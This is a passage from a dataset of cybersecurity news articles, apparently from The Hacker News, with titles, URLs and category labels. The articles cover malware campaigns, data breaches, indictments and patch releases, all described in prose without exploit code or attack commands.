However, it is not clear why the original malware author also stored the same C&C server URL in a string encrypted by the less secure XOR cipher, even when it was unnecessary.

A lot of different LokiBot samples currently distributed in the wild and available for sale on the underground market at a very low price have also been patched in the same way by several hackers.

Meanwhile, the original author of LokiBot has already launched its new version 2.0 and selling it online on many forums.

The decryption function was also being used to get registry values required for making the malware persistent on a system, but since after patching the decryption function only returns a URL, the new LokiBot samples fails to restart after the device reboots.

To know more technical details about the new samples, you can head on to the research paper [PDF] published by the researchers on GitHub.

",Malware
U.S. Charges 4 Chinese Military Hackers Over Equifax Data Breach,https://thehackernews.com/2020/02/equifax-chinese-military-hackers.html,"The United States Department of Justice today announced charges against 4 Chinese military hackers who were allegedly behind the Equifax data breach that exposed the personal and financial data of nearly 150 million Americans.

In a joint press conference held today with the Attorney General William Barr and FBI Deputy Director David Bowdich, the DoJ officials labeled the state-sponsored hacking campaign as the largest hacking case ever uncovered of this type.

The four accused, Wu Zhiyong (吴志勇), Wang Qian (王乾), Xu Ke (许可) and Liu Lei (刘磊), have also been indicted for their involvement in hacking and stealing trade secrets, intellectual property and confidential information from several other U.S. businesses in recent years.

In September 2017, credit reporting agency Equifax disclosed it had become a victim of a massive cyberattack that left highly sensitive data of nearly half of the U.S. population in the hands of hackers.

As The Hacker News reported earlier, hackers compromised Equifax servers using a critical vulnerability in Apache Struts Web Framework that the company forgets to patch on time even when an updated secure version of the software was available.


""They used this access to conduct reconnaissance of Equifax's online dispute portal and to obtain login credentials that could be used to further navigate Equifax's network. The defendants spent several weeks running queries to identify Equifax's database structure and searching for sensitive, personally identifiable information within Equifax's system,"" the DoJ said.

""Once they accessed files of interest, the conspirators then stored the stolen information in temporary output files, compressed and divided the files, and ultimately were able to download and exfiltrate the data from Equifax's network to computers outside the United States. In total, the attackers ran approximately 9,000 queries on Equifax's system, obtaining names, birth dates, and social security numbers for nearly half of all American citizens.""

""The defendants took steps to evade detection throughout the intrusion, as alleged in the [nine-count] indictment. They routed traffic through approximately 34 servers located in nearly 20 countries to obfuscate their true location, used encrypted communication channels within Equifax's network to blend in with normal network activity, and deleted compressed files and wiped log files on a daily basis in an effort to eliminate records of their activity.""

As a result of the breach, the credit monitoring company Equifax was fined £500,000 by the U.K.'s privacy watchdog for failing to take appropriate steps to protect its customers and also agreed to pay up to $700 million in fines to settle a series of state and federal investigations in the United States.

The DoJ officials said the FBI started this investigation two years ago with only 40 IP addresses that were involved in the attacks that lead the agency to these four members of the People's Liberation Army's 54th Research Institute.

All four indicted suspects are still at large, residing in China and have been added to the FBI's Most Wanted Cyber list.

This is not the first time when the U.S. has charged Chinese intelligence officers over hacking and cyber espionage. In 2014, similar charges were announced against five Chinese military officials for hacking and cyber espionage against several American companies.

Besides this, the U.S has also charged the other two Chinese hackers in 2015 for a massive data breach where hackers stole the personal information of over 80 million customers of the Anthem health insurance company.

This story is developing and will be updated shortly as details become available. Stay tuned with The Hacker News on Twitter for quick updates.
",Data_Breaches
Adobe Flash bug allow spying Webcam hole,https://thehackernews.com/2011/10/adobe-flash-bug-allow-spying-webcam.html,"Adobe Flash bug allow spying Webcam hole


The flaw was disclosed in 2008 and can be exploited to turn on people's webcams or microphones without their knowledge. Attack involved putting the Adobe Flash Settings Manager page into an iFrame and masking it with a game, so that when the user clicked on the buttons he would actually change the settings and turn on the webcam.

Adobe is working on a fix for a Flash Player vulnerability that can be exploited via clickjacking techniques to turn on people's webcams or microphones without their knowledge.The issue was discovered by a Stanford University computer science student named Feross Aboukhadijeh who based his proof-of-concept exploit on a similar one disclosed back in 2008 by an anonymous researcher.

Once it was made public, Adobe fixed the issue by adding framebusting code to the Settings Manager page. But now, Stanford University computer science student Feross Aboukhadijeh managed to bypass the framebusting JavaScript code by simply putting the settings SWF file into the iFrame, and made the clickjacking attack possible again.

In essence this is the same 2008 vulnerability exploited through a slightly different attack vector. ""I was really surprised to find out that this actually works,"" Aboukhadijeh said.

He said that he emailed Adobe about the problem a few weeks ago, but got no response. However, the company contacted him after the public disclosure to inform him that they are working on a fix which will be deployed on their end and won't require users to update their Flash Player installations.

Using an SWF file hosted on Adobe's servers to modify Flash Player settings instead of a local interface is something that has generated problems before. For example, privacy advocates have complained in the past that this makes clearing Local Shared Objects (LSOs), commonly known as Flash cookies, difficult and confusing.

",Vulnerability
Database of 1.4 Billion Records leaked from World's Biggest Spam Networks,https://thehackernews.com/2017/03/email-marketing-database.html,"A database of 1.4 billion email addresses combined with real names, IP addresses, and often physical address has been exposed in what appears to be one the largest data breach of this year.

What's worrisome? There are high chances that you, or at least someone you know, is affected by this latest data breach.

Security researcher Chris Vickery of MacKeeper and Steve Ragan of CSOOnline discovered an unsecured and publicly exposed repository of network-available backup files linked to a notorious spamming organization called River City Media (RCM), led by notorious spammers Matt Ferrisi and Alvin Slocombe.

Spammer's Entire Operation Exposed
The database contains sensitive information about the company's operations, including nearly 1.4 Billion user records, which was left completely exposed to anyone – even without any username or password.

According to MacKeeper security researcher Vickery, RCM, which claims to be a legitimate marketing firm, is responsible for sending around a billion unwanted messages per day.

Besides exposing more than a billion email addresses, real names, IP addresses and, in some cases, physical addresses, the leak exposed many documents that revealed the inner workings of RCM's spam operation.
""The situation presents a tangible threat to online privacy and security as it involves a database of 1.4bn email accounts combined with real names, user IP addresses, and often physical address,"" Vickery said. ""Chances are that you, or at least someone you know, is affected.""
Vickery wasn't able to fully verify the leak but said he discovered addresses he knew were accurate in the database.

Wondering how spamming operations can be profitable? One leaked text shows a single day of activity of RCM that sent 18 million emails to Gmail users and 15 million to AOL users, and the total take of the spamming company was around $36,000.

Illegal Hacking Techniques Used by RCM
The company employed many illegal hacking techniques to target as many users as possible. One of the primary hacking methods described by the researchers is the Slowloris attacks, a method designed to cripple a web server rather than subvert it in this manner.
""[Slowloris is] a technique in which the spammer seeks to open as many connections as possible between themselves and a Gmail server,"" Vickery writes in a blog post published today.
""This is done by purposefully configuring your own machine to send response packets extremely slowly, and in a fragmented manner, while constantly requesting more connections.""
The researchers have reported that details of RSM's operations and its abusive scripts and techniques have been sent to Microsoft, Apple, Salted Hash, Spamhaus, and others affected parties.

Meanwhile, the researchers have also notified law enforcement agencies, which they says, have expressed keen interest in the matter.

In response to the latest discovery, Spamhaus will be blacklisting RCM's entire infrastructure from its Register of Known Spam Operations (ROKSO) database that tracks professional spam operations and lists them using a three-strike rule.

",Cyber_Attack
"Dangerous IE browser vulnerabilities, Allows remote code execution !",https://thehackernews.com/2012/02/dangerous-ie-browser-vulnerabilities.html,"Dangerous IE browser vulnerabilities, Allows remote code execution !
Microsoft is expected to show some love for Windows administrators on Valentine's Day, with nine patches fixing 21 vulnerabilities in February's Patch Tuesday release. Also, Microsoft is warning all users of its Internet Explorer web browser to immediately apply the latest security patch as a precaution against malicious hacker attacks.

Critical fixes would address flaws that could allow remote code execution in Windows, Internet Explorer, .NET Framework, and Silverlight, Microsoft's web development tool. The update is rated ""critical"" for Internet Explorer 7, Internet Explorer 8, and Internet Explorer 9 on Windows client machines and Microsoft expects to see reliable exploit code published with the next 30 days.

Here are the bulletins for February 2012:
MS12-008 – Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2660465)
MS12-010 – Cumulative Security Update for Internet Explorer (2647516)
MS12-013 – Vulnerability in C Run-Time Library Could Allow Remote Code Execution (2654428)
MS12-016 – Vulnerabilities in .NET Framework and Microsoft Silverlight Could Allow Remote Code Execution (2651026)
MS12-009 – Vulnerabilities in Ancillary Function Driver Could Allow Elevation of Privilege (2645640)
MS12-011 – Vulnerabilities in Microsoft SharePoint Could Allow Elevation of Privilege (2663841)
MS12-012 – Vulnerability in Color Control Panel Could Allow Remote Code Execution (2643719)
MS12-014 – Vulnerability in Indeo Codec Could Allow Remote Code Execution (2661637)
MS12-015 – Vulnerabilities in Microsoft Visio Viewer 2010 Could Allow Remote Code Execution (2663510)
You can access the bulletin summary here on this page.

",Vulnerability
FIN8 Hackers Return With More Powerful Version of BADHATCH PoS Malware,https://thehackernews.com/2021/03/fin8-hackers-return-with-more-powerful.html,"Threat actors known for keeping a low profile do so by ceasing operations for prolonged periods in between to evade attracting any attention as well as constantly refining their toolsets to fly below the radar of many detection technologies.
One such group is FIN8, a financially motivated threat actor that's back in action after a year-and-a-half hiatus with a powerful version of a backdoor with upgraded capabilities including screen capturing, proxy tunneling, credential theft, and fileless execution.
First documented in 2016 by FireEye, FIN8 is known for its attacks against the retail, hospitality, and entertainment industries while making use of a wide array of techniques such as spear-phishing and malicious tools like PUNCHTRACK and BADHATCH to steal payment card data from point-of-sale (POS) systems.
""The FIN8 group is known for taking long breaks to improve TTPs and increase their rate of success,"" Bitdefender researchers said in a report published today. ""The BADHATCH malware is a mature, highly advanced backdoor that uses several evasion and defense techniques. The new backdoor also attempts to evade security monitoring by using TLS encryption to conceal Powershell commands.""
BADHATCH, since its discovery in 2019, has been deployed as an implant capable of running attacker-supplied commands retrieved from a remote server, in addition to injecting malicious DLLs in a current process, gathering system information, and exfiltrating data to the server.
Noting that at least three different variants of the backdoor (v2.12 to 2.14) have been spotted since April 2020, the researchers said the latest version of BADHATCH abuses a legitimate service called sslp.io to thwart detection during the deployment process, using it to download a PowerShell script, which in turn executes the shellcode containing the BADHATCH DLL.
The PowerShell script, besides taking responsibility for achieving persistence, also takes care of privilege escalation to ensure that all commands post the script's execution are run as the SYSTEM user.
Furthermore, a second evasion technique adopted by FIN8 involves passing off communications with the command-and-control (C2) server that masquerade as legitimate HTTP requests.
According to Bitdefender, the new wave of attacks is said to have taken place over the past year and directed against insurance, retail, technology, and chemical industries in the U.S., Canada, South Africa, Puerto Rico, Panama, and Italy.
""Like most persistent and skilled cyber-crime actors, FIN8 operators are constantly refining their tools and tactics to avoid detection,"" the researchers concluded, urging businesses to ""separate the POS network from the ones used by employees or guests"" and filter out emails containing malicious or suspicious attachments.

",Malware
Vulnerability Management: Think Like an Attacker to Prioritize Risks,https://thehackernews.com/2014/06/vulnerability-management-think-like.html,"Attackers care about ROI – they want to accomplish their objective with the least investment of time and resources possible. The same is true for you - to most effectively manage vulnerabilities, you need to think like an attacker. Ask yourself: How would you go about compromising systems, exfiltrating valuable information and making money? What are the key assets in your network that you would target? How would you get to these assets?

Attackers are looking for vulnerabilities that are exposed – ones offering them an easy way to penetrate your network and pivot into the truly valuable assets on your network. Although zero-day exploits are heavily publicized, attackers more often use older, proven exploits very effectively. Fortunately, many such exploits are well known and have clear remediation methods.

So, how can you determine if a known vulnerability is actually exploitable? The key is to correlate system vulnerabilities with threat intelligence so you can prioritize those vulnerabilities that actually give the bad guys a point of entry into your network.

Prioritize the Vulnerabilities that Matter with AlienVault Unified Security Management (USM)
AlienVault Unified Security Management (USM) gives you visibility to vulnerabilities in real-time for prioritization and incident response. Because USM combines vulnerability management with asset inventory, host-based IDS, network IDS, netflow analysis, file integrity monitoring, and SIEM event correlation, all of the rich information captured by these capabilities is viewable in a single screen.

As soon as an alarm is triggered, you can immediately identify known malicious IPs interacting with a vulnerable host, along with all events involving that host, details on the vulnerabilities discovered, notes on who owns the system as well as all the software installed on it.
Built-in Active Vulnerability Scanning and Assessment
AlienVault USM provides continuous vulnerability monitoring. Also known as passive vulnerability detection, USM correlates the data gathered by its asset discovery scans with known vulnerability information for improved accuracy. USM supports unauthenticated scanning, which is scanning without requiring host credentials. This scan probes hosts with targeted traffic and analyzes the subsequent response to determine the configuration of the remote system and any vulnerabilities in the installed OS and application software. USM also supports authenticated scanning – which is scanning with credentials. This entails access to the target host's file system, to be able to perform more accurate and comprehensive vulnerability detection by inspecting the installed software and its configuration. USM allows you to mix and match these methods as well.

For example, you may wish to run authenticated scans on compliance-related assets and throttle back to passive vulnerability assessment on low risk assets where reducing network traffic matters more than validating stringent security configurations. Plus, you can schedule scans, with flexibility to select which network segments are to be scanned, and at what frequency.
Remediation Advice for Every Vulnerability
AlienVault USM also provides remediation advice for vulnerabilities that are found. It includes dynamic incident response templates and 3rd party references to help you figure out how to remediate vulnerabilities that a scan may find. This advice saves you time researching each vulnerability and tracking down this information yourself.

USM can also send email alerts, open a ticket in the built-in ticketing system, or send an email to an external help desk / ticketing system. And, since exploits often opportunistically follow the discovery and public announcement of vulnerabilities by the security community, the USM vulnerability database is constantly updated with the latest details on known vulnerabilities. The built-in remediation advice is also kept up-to-date and vetted by the AlienVault Labs security research team.
Learn more about Vulnerability Management with AlienVault USM
Vulnerability management is never ""done"", as increasing attack vectors and software complexity require continuous monitoring. With a unified approach to security management, you can use a single product from a single vendor to determine which vulnerabilities are actually putting your network at risk, and prioritize remediation efforts accordingly.
Download a free 30-day trial of AlienVault USM
Watch a demo on-demand
Take an Interactive Test Drive
Watch the webinar: Threat Intelligence - The Key to a Complete Vulnerability Management Strategy

",Vulnerability
Warning — Popular 'Hot Patching' Technique Puts iOS Users At Risk,https://thehackernews.com/2016/01/ios-apps-jspatch-hack.html,"Do you know?… Any iOS app downloaded from Apple's official App Store has an ability to update itself from any 3rd-party server automatically without your knowledge.

Yes, it is possible, and you could end up downloading malware on your iPhone or iPad.

Unlike Google, Apple has made remarkable efforts to create and maintain a healthy and clean ecosystem of its official App Store.

Although Apple's review process and standards for security and integrity are intended to protect iOS users, developers found the process time consuming and extremely frustrating while issuing a patch for a severe bug or security flaw impacting existing app users.

To overcome this problem, Apple designed a set of solutions to make it easier for iOS app developers to push straightway out hotfixes and updates to app users without going through Apple's review process.

Sounds great, but here's the Kick:

Malicious app developers can abuse These solutions, potentially allowing them to circumvent effectively the protection given by the official App Store review process and perform arbitrary actions on the compromised device, FireEye has warned.

The framework in question is JSPatch – a small JavaScript-to-ObjectiveC engine that developers can integrate in their iOS apps, allowing them to apply hotfixes on their iOS apps simply by adding a few lines of code to their apps.

How Does JSPatch Work?

Once the JSPatch engine loads inside an application, the developer can configure the app always to load a JavaScript file hosted on a remote server, which is controlled by the developer.

Developed by a Chinese developer, JSPatch is utilised in as many as 1,220 iOS apps in the App Store, according to researchers. Although they failed to name the apps, the researchers claim that they have already notified the app providers.

So, in need of security fixes or updates to their app, instead of going through Apple's long-winded update routine, developers can just add some JavaScript code to the file hosted on their server in order to load the code in all the devices where the app is installed.

How to Exploit the JSPatch Framework?

There are two ways to abuse this framework:
If the Developer is with malicious intention.
If developer loads this framework via an unencrypted channel, allowing Man-in-the-Middle attacks.



What if the app developer has bad intention?

A malicious developer can first submit a harmless JSPatch integrated application to the Apple App Store.

Once it passed Apple's inspection and made available on the App Store for users to download, the developer can then easily send malicious JavaScript code to the running application through JSPatch, allowing the developer to perform various actions without being detected.

""JSPatch is a boon to iOS developers,"" FireEye researchers said in a blog post. ""In the right hands, it can be used to quickly and effectively deploy patches and code updates. However, in a non-utopian world like ours, we need to assume that bad actors will leverage this technology for unintended purposes.""

What if the app's developer loads JSPatch via an unencrypted channel?

If an application developer uses JSPatch without any malicious intentions, even then the users security is at risk. The developers who load JSPatch via an unencrypted (HTTP) channel could leave communications between the client and the server unprotected.



This could allow an attacker to conduct a man-in-the-middle (MitM) attack to intercept the client and server connection and tamper with the JavaScript content sent to the app in order to perform a malicious action, including:
Access to sensitive information, such as media files and the pasteboard content.
Change system properties.
Load arbitrary public frameworks into the app process.

This isn't the very first-time iOS users are facing such problems. Last October, hundreds of iOS apps in the App Store were found collecting user's private data while violating security and privacy guidelines of Apple.

The discovery came just a month after the XcodeGhost malware was distributed through legitimate iOS Apps via counterfeit versions of Apple's app developer toolkit called Xcode. Here's how to protect yourself against XCodeGhost like iOS flaws.

How to Protect Yourself?

The recommendations to protect yourself against this flaw are standard:
Download apps only from the official App Store, that you need, that you know, and that you trust.
Beware of applications that ask for an extensive amount of permissions and only grant the apps permissions that are necessary.

Manually review ""everything"" to discover anything malicious in your devices. Rest is up to the company if it wants to improve its application update process to make it speedier, or to allow potential attack vectors that could affect most of its apps and their users.

",Malware
NetCAT: New Attack Lets Hackers Remotely Steal Data From Intel CPUs,https://thehackernews.com/2019/09/netcat-intel-side-channel.html,"Unlike previous side-channel vulnerabilities disclosed in Intel CPUs, researchers have discovered a new flaw that can be exploited remotely over the network without requiring an attacker to have physical access or any malware installed on a targeted computer.

Dubbed NetCAT, short for Network Cache ATtack, the new network-based side-channel vulnerability could allow a remote attacker to sniff out sensitive data, such as someone's SSH password, from Intel's CPU cache.

Discovered by a team of security researchers from the Vrije University in Amsterdam, the vulnerability, tracked as CVE-2019-11184, resides in a performance optimization feature called Intel's DDIO—short for Data-Direct I/O—which by design grants network devices and other peripherals access to the CPU cache.

The DDIO comes enabled by default on all Intel server-grade processors since 2012, including Intel Xeon E5, E7 and SP families.

According to the researchers [paper], NetCAT attack works similar to Throwhammer by solely sending specially crafted network packets to a targeted computer that has Remote Direct Memory Access (RDMA) feature enabled.

RDMA enables attackers to spy on remote server-side peripherals such as network cards and observe the timing difference between a network packet that is served from the remote processor's cache versus a packet served from memory.


Here the idea is to perform a keystroke timing analysis to recover words typed by a victim using a machine learning algorithm against the time information.

""In an interactive SSH session, every time you press a key, network packets are being directly transmitted. As a result, every time a victim you type a character inside an encrypted SSH session on your console, NetCAT can leak the timing of the event by leaking the arrival time of the corresponding network packet,"" explains the VUSec team.

""Now, humans have distinct typing patterns. For example, typing's' right after 'a' is faster than typing 'g' after's.' As a result, NetCAT can operate statical analysis of the inter-arrival timings of packets in what is known as a keystroke timing attack to leak what you type in your private SSH session.""

""Compared to a native local attacker, NetCAT's attack from across the network only reduces the accuracy of the discovered keystrokes on average by 11.7% by discovering inter-arrival of SSH packets with a true positive rate of 85%.""

The VUSec team has also published a video, as shown above, demonstrating a method for spying on SSH sessions in real-time with nothing but a shared server.

NetCAT becomes the new side-channel vulnerability joined the list of other dangerous side-channel vulnerabilities discovered in the past year, including Meltdown and Spectre, TLBleed, Foreshadow, SWAPGS, and PortSmash.

In its advisory, Intel has acknowledged the issue and recommended users to either completely disable DDIO or at least RDMA to make such attacks more difficult, or otherwise suggested to limit direct access to the servers from untrusted networks.

The company assigned the NetCAT vulnerability a ""low"" severity rating, describing it as a partial information disclosure issue, and awarded a bounty to the VUSec team for the responsible disclosure.

",Vulnerability
"Adobe Releases Security Patches for Flash, Acrobat Reader, Other Products",https://thehackernews.com/2019/04/adobe-security-updates.html,"Good morning readers, it's Patch Tuesday again—the day of the month when Adobe and Microsoft release security patches for their software.

Adobe just released its monthly security updates to address a total of 40 security vulnerabilities in several of its products, including Flash Player, Adobe Acrobat and Reader, and Shockwave Player.

According to an advisory, Adobe Acrobat and Reader applications for Microsoft Windows and Apple macOS operating systems are vulnerable to a total 21 vulnerabilities, 11 of which have been rated as critical in severity.

Upon successful exploitation, all critical vulnerabilities in Adobe Acrobat and Reader software lead to arbitrary code execution, allowing attackers to take complete control over targeted systems.

Remaining ten vulnerabilities in the most widely used PDF reader are all rated as important and could lead to information disclosure.

If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe Acrobat and Reader software.

Here we have compiled a brief list of all vulnerabilities Adobe patched this month in its various products:
Adobe Acrobat and Reader — 11 Critical and 10 Important Flaws
Adobe Flash Player — 2 Critical Flaws
Adobe Shockwave Player — 7 Critical Flaws
Adobe Dreamweaver — 1 Moderate Flaw
Adobe XD — 2 Critical Flaws
Adobe InDesign — 1 Critical Flaw
Adobe Experience Manager Forms —1 Important Flaw
Adobe Bridge CC — 2 Critical and 3 Important Flaws
Adobe has released updated versions of Flash Player for Windows, macOS, Linux, and Chrome OS to address two security vulnerabilities, one of which is critical and the other is important in severity.

Flash Player, which will receive security patch updates until the end of 2020, addresses a critical use-after-free vulnerability (CVE-2019-7096) that could potentially allow an attacker to run arbitrary code on the affected systems.

The company has also patched 7 critical vulnerabilities in Adobe Shockwave Player—most likely the last update for the software. That's because, effective from today (April 9, 2019), Adobe has discontinued support for Shockwave for Windows.

Users of affected Adobe software for Windows, macOS, Linux, and Chrome OS are urged to update their software packages to the latest versions as soon as possible.

According to the company, none of the listed vulnerabilities has been found exploited in the wild.

Check out details of the latest April 2019 security updates from Microsoft.

",Vulnerability
First Malware Designed for Apple M1 Chip Discovered in the Wild,https://thehackernews.com/2021/02/first-malware-designed-for-apple-m1.html,"One of the first malware samples tailored to run natively on Apple's M1 chips has been discovered, suggesting a new development that indicates that bad actors have begun adapting malicious software to target the company's latest generation of Macs powered by its own processors.
While the transition to Apple silicon has necessitated developers to build new versions of their apps to ensure better performance and compatibility, malware authors are now undertaking similar steps to build malware that are capable of executing natively on Apple's new M1 systems, according to macOS Security researcher Patrick Wardle.
Wardle detailed a Safari adware extension called GoSearch22 that was originally written to run on Intel x86 chips but has since been ported to run on ARM-based M1 chips. The rogue extension, which is a variant of the Pirrit advertising malware, was first seen in the wild on November 23, 2020, according to a sample uploaded to VirusTotal on December 27.
""Today we confirmed that malicious adversaries are indeed crafting multi-architecture applications, so that their code will natively run on M1 systems,"" said Wardle in a write-up published yesterday. ""The malicious GoSearch22 application may be the first example of such natively M1 compatible code.""
While M1 Macs can run x86 software with the help of a dynamic binary translator called Rosetta, the benefits of native support mean not only efficiency improvements but also the increased likelihood of staying under the radar without attracting any unwanted attention.
First documented in 2016, Pirrit is a persistent Mac adware family notorious for pushing intrusive and deceptive advertisements to users that, when clicked, downloads and installs unwanted apps that come with information gathering features.
For its part, the heavily obfuscated GoSearch22 adware disguises itself as a legitimate Safari browser extension when in fact, it collects browsing data and serves a large number of ads such as banners and popups, including some that link to dubious websites to distribute additional malware.
Wardle said the extension was signed with an Apple Developer ID ""hongsheng_yan"" in November to further conceal its malicious content, but it has since been revoked, meaning the application will no longer run on macOS unless attackers re-sign it with another certificate.
Although the development highlights how malware continues to evolve in direct response to both hardware changes, Wardle warned that ""(static) analysis tools or antivirus engines may struggle with arm64 binaries,"" with detections from industry-leading security software dropping by 15% when compared to the Intel x86_64 version.
GoSearch22's malware capabilities may not be entirely new or dangerous, but that's beside the point. If anything, the emergence of new M1-compatible malware signals this is just a start, and more variants are likely to crop up in the future.

",Malware
"Obama will control internet, signs Emergency Internet Control",https://thehackernews.com/2012/07/obama-will-control-internet-signs.html,"Barack Obama has signed an executive order that could hand control of the internet to the U.S. Government, in the event of a natural disaster or terrorist attack. ""The federal government must have the ability to communicate at all times and under all circumstances to carry out its most critical and time sensitive missions,"" Obama said.

President Obama adds that it is necessary for the government to be able to reach anyone in the country during situations it considers critical, writing, ""Such communications must be possible under all circumstances to ensure national security, effectively manage emergencies and improve national resilience."" Later the president explains that such could be done by establishing a ""joint industry-Government center that is capable of assisting in the initiation, coordination, restoration and reconstitution of NS/EP [national security and emergency preparedness] communications services or facilities under all conditions of emerging threats, crisis or emergency.""

But Section 5.2 has raised alarm among those who fear the government will have too much control over the Web. The section explained how the secretary of homeland security - currently Janet Napolitano - will 'satisfy priority communications requirements through the use of commercial, Government, and privately owned communications resources, when appropriate.'

White House officials have acted quickly to ease concern, insisting the order is just an update of an existing authority dating back to 1984 . The claim the government has been granted no extra powers.

How threatening Obama's new executive powers are is subject to debate. Please pass your feedback in Comments.

",Vulnerability
Update Your Chrome Browser to Patch New Zero‑Day Bug Exploited in the Wild,https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html,"Google has pushed out a new security update to Chrome browser for Windows, Mac, and Linux with multiple fixes, including a zero-day that it says is being exploited in the wild.
The latest patch resolves a total of eight issues, one of which concerns a type confusion issue in its V8 open-source and JavaScript engine (CVE-2021-30563). The search giant credited an anonymous researcher for reporting the flaw on July 12.
As is usually the case with actively exploited flaws, the company issued a terse statement acknowledging that ""an exploit for CVE-2021-30563 exists in the wild"" while refraining from sharing full details about the underlying vulnerability used in the attacks due to its serious nature and the possibility that doing so could lead to further abuse.
CVE-2021-30563 also marks the ninth zero-day addressed by Google to combat real-world attacks against Chrome users since the start of the year —
CVE-2021-21148 - Heap buffer overflow in V8
CVE-2021-21166 - Object recycle issue in audio
CVE-2021-21193 - Use-after-free in Blink
CVE-2021-21206 - Use-after-free in Blink
CVE-2021-21220 - Insufficient validation of untrusted input in V8 for x86_64
CVE-2021-21224 - Type confusion in V8
CVE-2021-30551 - Type confusion in V8
CVE-2021-30554 - Use-after-free in WebGL
Chrome users are advised to update to the latest version (91.0.4472.164) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.

",Vulnerability
"France Telecom Orange Hacked Again, Personal Details of 1.3 Million Customers Stolen",https://thehackernews.com/2014/05/france-telecom-orange-hacked-again.html,"French leading telecommunications company 'Orange' hit by second major data breach of its kind in a matter of months. Company announced that hackers have stolen personal data of 1.3 million customers of its online portal.

ORANGE HACKED SECOND TIME IN THREE MONTHS
Hackers have stolen a ""limited amount of personal information concerning clients and future customers"", including their first names, Surnames email addresses, phone numbers for both mobiles and fixed lines, dates of birth as well as the names of clients' mobile and Internet operators.

""The data recovered could be used to contact those concerned by email, SMS or by phone, particularly for phishing purposes,"" company said in an statement.

The Incident was detected by the company on April 18, but the company has waited until now to inform customers to determine its full extent and to ensure that the security holes leveraged by the hackers have been patched.

BEWARE OF PHISHING ATTACKS
We don't know what the motivations of the Cyber criminals are, it is not known what will actually happen to the Stolen Database. The attackers know the recipients name, so this could potentially lead to e-mail spam and phishing attacks.

Such attacks are frequently disguised as an email from a company asking the customer to provide sensitive information such as passwords, user names or credit card details.

""The data collected could be used to contact people involved in e-mail, SMS or telephone, including for phishing"" warns Orange.

In February, Orange revealed a separate security breach, in which more than 800,000 users' emails, passwords, addresses and phone numbers had been stolen from its customer website.

Orange also reported that it had found the source of the attack and has filed an official police complaint about the data breach.

",Cyber_Attack
22-Year-Old Charged With Hacking Water System and Endangering Lives,https://thehackernews.com/2021/04/22-year-old-charged-with-hacking-water.html,"A 22-year-old man from the U.S. state of Kansas has been indicted on charges that he unauthorizedly accessed a public water facility's computer system, jeopardizing the residents' safety and health in the local community.
Wyatt A. Travnichek, 22, of Ellsworth County, Kansas, has been charged with one count of tampering with a public water system and one count of reckless damage to a protected computer during unauthorized access, according to the Department of Justice (DoJ).
""By illegally tampering with a public drinking water system, the defendant threatened the safety and health of an entire community,"" said Lance Ehrig, Special Agent in Charge of the Environmental Protection Agency (EPA) Criminal Investigation Division in Kansas.
""EPA and its law enforcement partners are committed to upholding the laws designed to protect our drinking water systems from harm or threat of harm. Today's indictment sends a clear message that individuals who intentionally violate these laws will be vigorously prosecuted.""
On March 27, 2019, Travnichek is said to have broken into a protected computer system belonging to the county's Post-Rock Rural Water District, using it to shut down the cleaning and disinfecting processes at the facility.
The indictment doesn't specify if the attack was successful and how it was detected. If found guilty, Travnichek faces up to 25 years in federal prison and a total fine of $500,000.
The development comes months after unidentified actors staged an intrusion at a water treatment facility in the state of Florida and changed a setting that drastically altered the levels of sodium hydroxide (NaOH) in the water.

",Cyber_Attack
WARNING: Hackers Install Secret Backdoor on Thousands of Microsoft SQL Servers,https://thehackernews.com/2020/04/backdoor-.html,"Cybersecurity researchers today uncovered a sustained malicious campaign dating back to May 2018 that targets Windows machines running MS-SQL servers to deploy backdoors and other kinds of malware, including multi-functional remote access tools (RATs) and cryptominers.

Named ""Vollgar"" after the Vollar cryptocurrency it mines and its offensive ""vulgar"" modus operandi, researchers at Guardicore Labs said the attack employs password brute-force to breach Microsoft SQL servers with weak credentials exposed to the Internet.

Researchers claim the attackers managed to successfully infect nearly 2,000-3,000 database servers daily over the past few weeks, with potential victims belonging to healthcare, aviation, IT & telecommunications, and higher education sectors across China, India, the US, South Korea, and Turkey.


Thankfully for those concerned, researchers have also released a script to let sysadmins detect if any of their Windows MS-SQL servers have been compromised with this particular threat.

Vollgar Attack Chain: MS-SQL to System Malware

The Vollgar attack starts off with brute-force login attempts on MS-SQL servers, which, when successful, allows the interloper to execute a number of configuration changes to run malicious MS-SQL commands and download malware binaries.

""Attackers [also] validate that certain COM classes are available - WbemScripting.SWbemLocator, Microsoft.Jet.OLEDB.4.0 and Windows Script Host Object Model (wshom). These classes support both WMI scripting and command execution through MS-SQL, which will be later used to download the initial malware binary,"" the researchers said.


Aside from ensuring that cmd.exe and ftp.exe executables have the necessary execute permissions, the operator behind Vollgar also creates new backdoor users to the MS-SQL database as well as on the operating system with elevated privileges.

Upon completion of the initial setup, the attack proceeds to create downloader scripts (two VBScripts and one FTP script), which are executed ""a couple of times,"" each time with a different target location on the local file system to avert possible failures.

One of the initial payloads, named SQLAGENTIDC.exe or SQLAGENTVDC.exe, first proceeds to kill a long list of processes with the goal of securing the maximum amount of system resources as well as eliminate other threat actors' activity and remove their presence from the infected machine.

Furthermore, it acts as a dropper for different RATs and an XMRig-based crypto-miner that mines Monero and an alt-coin called VDS or Vollar.

Attack Infrastructure Hosted On Compromised Systems

Guardicore said attackers held their entire infrastructure on compromised machines, including its primary command-and-control server located in China, which, ironically, was found compromised by more than one attack group.

""Among the files [on the C&C server] was the MS-SQL attack tool, responsible for scanning IP ranges, brute-forcing the targeted database, and executing commands remotely,"" the cybersecurity firm observed.

""In addition, we found two CNC programs with GUI in Chinese, a tool for modifying files' hash values, a portable HTTP file server (HFS), Serv-U FTP server and a copy of the executable mstsc.exe (Microsoft Terminal Services Client) used to connect to victims over RDP.""


Once an infected Windows client pings the C2 server, the latter also receives a variety of details about the machine, such as its public IP, location, operating system version, computer name, and CPU model.

Stating that the two C2 programs installed on the China-based server were developed by two different vendors, Guardicore said there are similarities in their remote control capabilities — namely downloading files, installing new Windows services, keylogging, screen capturing, activating the camera and microphone, and even initiating a Distributed Denial-of-Service (DDoS) attack.

Use Strong Passwords to Avoid Brute-Force Attacks

With about half-a-million machines running MS-SQL database service, the campaign is yet another indication that attackers are going after poorly protected database servers in an attempt to siphon sensitive information. It's essential that MS-SQL servers that are exposed to the internet are secured with strong credentials.

